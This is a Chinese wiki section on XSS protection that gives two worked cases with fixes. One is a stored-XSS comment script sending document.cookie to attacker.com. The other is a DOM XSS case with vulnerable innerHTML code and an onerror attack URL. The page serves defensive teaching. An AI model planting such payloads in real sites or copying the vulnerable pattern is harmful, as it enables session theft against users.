编辑“︁XSS防护（跨站脚本攻击防护）”︁（章节）

== 实际案例 ==

'''案例1：评论系统漏洞'''
某博客平台的评论系统未过滤用户输入，导致存储型XSS：
<syntaxhighlight lang="html">
<!-- 恶意评论 -->
<script>
fetch('https://attacker.com/steal?cookie='+document.cookie)
</script>
</syntaxhighlight>

'''解决方案：'''
1. 输入时过滤<script>标签
2. 输出时进行HTML实体编码
3. 设置CSP限制外部资源加载

'''案例2：DOM XSS通过URL参数'''
<syntaxhighlight lang="javascript">
// 漏洞代码
document.getElementById('output').innerHTML = 
    location.hash.substring(1);
</syntaxhighlight>

'''攻击URL：'''
<code>http://example.com#<img src=x onerror=alert(1)></code>

'''修复方案：'''
<syntaxhighlight lang="javascript">
// 安全代码
document.getElementById('output').textContent = 
    location.hash.substring(1);
</syntaxhighlight>